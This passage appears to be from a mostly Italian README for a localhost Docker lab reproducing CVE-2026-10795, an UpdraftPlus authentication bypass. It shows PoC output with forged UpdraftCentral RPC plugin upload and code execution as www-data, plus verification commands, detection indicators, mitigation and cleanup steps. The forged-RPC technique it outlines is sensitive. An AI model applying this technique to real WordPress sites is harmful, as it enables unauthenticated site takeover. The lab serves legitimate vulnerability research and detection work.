Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target : http://127.0.0.1:8081/
Command : plugin.upload_plugin
Decision : RPC DISPATCHED
HTTP status : 200
Body bytes : non-zero
RPC JSON seen : True
Resp. format : 2
----------------------------------------------------------------------------------------
ID endpoint : http://127.0.0.1:8081/wp-json/cve-lab/v1/id
Marker active : True
HTTP status : 200
id output : uid=33(www-data) gid=33(www-data) groups=33(www-data)
========================================================================================
Interpretation:
UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
id output should be a hard-coded local proof such as uid=33(www-data).
```
### Target patchato
Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
```
Segnale patchato atteso:```text
CVE-2026-10795 local lab-only ID validation
Scope : localhost / Docker lab only
Technique : forged format=1 plugin.upload_plugin with hard-coded id marker plugin
Safety : no generic web shell, no cmd parameter, no external targets
Key name : 0.central.updraftplus.com
Marker plugin : cve-2026-10795-id-marker/cve-2026-10795-id-marker.php
========================================================================================
Target : http://127.0.0.1:8082/
Command : plugin.upload_plugin
Decision : RPC NOT DISPATCHED
HTTP status : 200
Body bytes : 0
RPC JSON seen : False
Body prefix : ''
----------------------------------------------------------------------------------------
ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id
Marker active : False
HTTP status : 404
Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'
========================================================================================
Interpretation:
UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True
UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False
id output should be a hard-coded local proof such as uid=33(www-data).
```
## Comandi di verifica manuale
Controlla lo stato del servizio:```bash
docker compose ps
```
Ispeziona i metadati del servizio vulnerabile:```bash
curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
```
Ispeziona i metadati del servizio patchato:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
```
Controlla lo stato del plugin a runtime:```bash
curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
```
Esegui la convalida ping-only:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
```
Prova dell'ID di esecuzione:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082
```
Controlla l'endpoint marker subito dopo aver eseguito il PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
```
Previsto:```text
8081 → marker endpoint exists and returns id output
8082 → marker endpoint returns 404 rest_no_route
```
Controlla i plugin installati all'interno del container vulnerabile:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
```
Verifica i plugin installati all'interno del contenitore patchato:```bash
docker compose exec -T patched sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
```
Il servizio vulnerabile dovrebbe contenere il plugin marker dopo l'esecuzione del PoC. Il servizio corretto (patched) non dovrebbe.
## Impatto
Questo laboratorio dimostra che un attaccante non autenticato può falsificare un messaggio RPC di UpdraftCentral che raggiunge la distribuzione dei comandi privilegiati in UpdraftPlus 1.26.4 quando esiste uno stato di chiave UpdraftCentral appropriato.
L'impatto dimostrato è di tipo RCE perché il comando RPC falsificato abusa della funzionalità legittima di gestione dei plugin:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
```
La prova locale mostra l'esecuzione come utente del server web:```text
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
La categoria di vulnerabilità rimane bypass dell'autenticazione. Il risultato dell'esecuzione di codice è un impatto concatenato attraverso l'installazione privilegiata di plugin WordPress.
## Rilevamento e Monitoraggio
Gli indicatori potenziali includono richieste POST non autenticate alla pagina frontale di WordPress contenenti campi UpdraftCentral RPC:```text
format
key_name
udrpc_message
signature
```
Caratteristiche sospette:```text
format=1
key_name ending with .central.updraftplus.com
large udrpc_message value
unexpected unauthenticated POST requests to /
repeated RPC attempts with empty or unusual response bodies
new unexpected plugin directories under wp-content/plugins
new plugin activation events
REST routes appearing unexpectedly after a suspicious request
```
Indicatori di laboratorio locali:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
```
Idee per il monitoraggio in produzione:
* Esaminare i log di accesso web per richieste POST contenenti `udrpc_message`.
* Avvisare su richieste RPC con `format=1` provenienti da fonti non attendibili.
* Esaminare i log di UpdraftPlus e UpdraftCentral se disponibili.
* Monitorare eventi di installazione o attivazione imprevisti di plugin.
* Monitorare le modifiche al filesystem in `wp-content/plugins`.
* Esaminare gli utenti amministratori e le integrazioni di gestione remota.
* Verificare se UpdraftPlus è più vecchio della versione corretta.
* Rimuovere chiavi di controllo remoto UpdraftCentral obsolete o inutilizzate.
## Mitigazione e Note di Patch
Aggiornare UpdraftPlus alla versione 1.26.5 o successiva.
La versione patchata rifiuta chiavi simmetriche decriptate non valide prima della decriptazione simmetrica e dell'invio dei comandi.
Passaggi di mitigazione raccomandati:
* Aggiornare UpdraftPlus.
* Verificare se il controllo remoto UpdraftCentral è abilitato o è stato configurato.
* Rimuovere chiavi UpdraftCentral obsolete se il controllo remoto non è necessario.
* Esaminare gli account amministratore di WordPress.
* Esaminare i plugin installati per aggiunte inaspettate.
* Esaminare i log di accesso per richieste `udrpc_message` sospette.
* Ruotare le credenziali se si sospetta un compromesso.
* Ripristinare da backup noti come buoni se viene confermata l'installazione non autorizzata di plugin.
* Utilizzare una regola WAF solo come strato temporaneo, non come sostituto della patch.
La correzione più importante è eseguire una versione patchata di UpdraftPlus che rifiuti chiavi simmetriche non valide prima della decriptazione e dell'invio.
## Pulizia
Fermare i container e rimuovere le reti:```bash
docker compose down --remove-orphans
```
Rimuovi contenitori, reti e volumi:```bash
docker compose down -v --remove-orphans
```
Rimuovere l'ambiente virtuale Python:```bash
rm -rf venv
```
Rimuovere i file di prova locali se creati:```bash
rm -rf evidence/
```
## Limiti di Sicurezza
Questo laboratorio è destinato esclusivamente alla ricerca locale sulla sicurezza e a dimostrazioni controllate.
Non eseguire il PoC su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.
Non utilizzare credenziali reali, segreti di produzione o target esterni in questo laboratorio.
Il PoC è deliberatamente limitato a servizi Docker locali come:```text
http://127.0.0.1:8081
http://127.0.0.1:8082
http://localhost:8081
http://localhost:8082
```
Il PoC rifiuta di default i target non locali.
Il plugin marker non implementa un parametro generico di esecuzione comandi. Espone solo un endpoint di prova locale hard-coded che esegue `/usr/bin/id`.
Questo laboratorio non include:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
```
L'obiettivo è dimostrare una condizione tecnica specifica in un ambiente controllato:```text
unauthenticated forged RPC
+ vulnerable format=1 validation behavior
+ failed RSA decrypt not rejected
+ predictable symmetric decrypt path
+ privileged UpdraftCentral command dispatch
+ plugin upload and activation
+ patched version blocks before dispatch
```
## Riferimenti
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Wordfence Vulnerability Database: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Patchstack Database: UpdraftPlus
https://patchstack.com/database/
* WordPress.org Plugin: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* WordPress.org Plugin SVN
https://plugins.svn.wordpress.org/updraftplus/
* WordPress.org Plugin SVN Tags
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: Authentication Cheat Sheet
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Web Security Testing Guide
https://owasp.org/www-project-web-security-testing-guide/